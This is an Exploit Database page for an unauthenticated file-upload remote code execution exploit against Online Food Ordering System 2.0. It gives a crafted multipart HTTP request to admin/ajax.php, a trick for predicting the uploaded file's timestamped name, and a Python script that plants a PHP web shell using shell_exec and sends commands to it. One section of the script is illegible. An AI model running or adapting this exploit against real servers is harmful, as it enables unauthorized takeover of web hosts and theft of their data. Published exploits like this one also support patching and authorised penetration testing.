

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Use necessary cookies only](#)[Allow all cookies](#)[Show details](#) ▼

Code Execution (RCE) (Unauthenticated)

EDB-ID:

50305

CVE:

N/A

EDB Verified: ✗**Author:**[ABDULLAH KHAWAJA](#)**Type:**[WEBAPPS](#)**Exploit:** [📄](#) / [_](#) / [{ }](#)**Platform:**[PHP](#)**Date:**

2021-09-20

Vulnerable App:

```
# Exploit Title: Online Food Ordering System 2.0 - Remote Code Execution (RCE)
(Unauthenticated)
# Exploit Author: Abdullah Khawaja (hax.3xploit)
# Date: 2021-09-20
# Vendor Homepage: https://www.sourcecodester.com/php/14951/online-food-ordering-
system-php-and-sqlite-database-free-source-code.html
# Software Link:
https://www.sourcecodester.com/sites/default/files/download/oretnom23/online_orderin

# Version: 2.0
# Tested On: Kali Linux, Windows 10 + XAMPP 7.4.4
# Description: Online Food Ordering System 2.0 suffers from an Unauthenticated
File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution
(RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file that
bypasses the image upload filters.

# Exploit Details:

# 1. Access the 'admin/ajax.php', as it does not check for an authenticated user
```

```

session.
# 2. Set the 'action' parameter of the POST request to 'save_settings'.
#     - `ajax.php?action=save_settings`
# 3. Capture request in burp and replace with with following request.

'''
POST /fos/admin/ajax.php?action=save_settings HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101
Firefox/93.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=-----
-120025571041714278883588636251
Content-Length: 754
Origin: http://localhost
Connection: close
Referer: http://localhost/fos/admin/index.php?page=site_settings
Cookie: PHPSESSID=nbt4d6o8udue0v82bvasfjkm90
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----120025571041714278883588636251
Content-Disposition: form-data; name="name"

adsa
-----120025571041714278883588636251
Content-Disposition: form-data; name="email"

asdsad@asda.com
-----120025571041714278883588636251
Content-Disposition: form-data; name="contact"

asdsad
-----120025571041714278883588636251
Content-Disposition: form-data; name="about"

asdsad
-----120025571041714278883588636251
Content-Disposition: form-data; name="img"; filename="phpinfo.php"
Content-Type: application/octet-stream

<?php echo phpinfo();?>
-----120025571041714278883588636251--
'''

# ` Image uploader is renaming your payload using the following function.
#     strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
# you can simply go to any online php compile website like
https://www.w3schools.com/php/phptryit.asp?filename=tryphp_compiler
# and print this function to get the value. e.g: <?php echo
strtotime(date('y-m-d H:i')); ?> Output: 1632085200
# concat output with your payload name like this 1632085200_phpinfo.php
# 4. Communicate with the webshell at '/assets/img/1632085200_phpinfo.php?cmd=dir'
using GET Requests.

# RCE via executing exploit:
# Step 1: run the exploit in python with this command: python3 OFOS_v2.0.py
# Step 2: Input the URL of the vulnerable application: Example:
http://localhost/fos/

import requests, sys, urllib, re

```

[illegible]

```

        r2 = requests.get(WEB_SHELL, params=command, verify=False)
        status = r2.status_code
        if status != 200:
            r2.raise_for_status()
        response2 = r2.text
        print(response2)
    except:
        print("\r\nExiting.")
        sys.exit(-1)

#Creating a PHP Web Shell

phpshell = {
    'img':
        (
            'shell.php',
            '<?php echo shell_exec($_REQUEST["cmd"]); ?>',
            'application/octet-stream',
            {'Content-Disposition': 'form-data'}
        )
}

# Defining value for form data
data = {'name': 'test', 'email': 'info@sample.com', 'contact': '+6948 8542 623', 'about': 'hello world'}

def id_generator():
    x = datetime.datetime.now()
    date_string = x.strftime("%y-%m-%d %H:%M")
    date = datetime.datetime.strptime(date_string, "%y-%m-%d %H:%M")
    timestamp = datetime.datetime.timestamp(date)
    file = int(timestamp)
    final_name = str(file)+'_shell.php'
    return final_name

filename = id_generator()
#Uploading Reverse Shell
print("[*]Uploading PHP Shell For RCE...")
upload = s.post(LINK+'admin/ajax.php?action=save_settings', cookies=cookies,
files=phpshell, data=data)

shell_upload = True if ("1" in upload.text) else False
u=shell_upload
if u:
    print(GREEN+"[+]PHP Shell has been uploaded successfully!", RESET)
else:
    print(RED+"[-]Failed To Upload The PHP Shell!", RESET)

#Executing The Webshell
webshell(LINK, s)

```

Tags:

Advisory/Source: [Link](#)



Downloads ▾

Certifications ▾

Training ▾

Pro Services ▾



EXPLOIT DATABASE BY OFFENSIVE SECURITY

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

COOKIES

© [OffSec Services Limited](#) 2021. All rights reserved.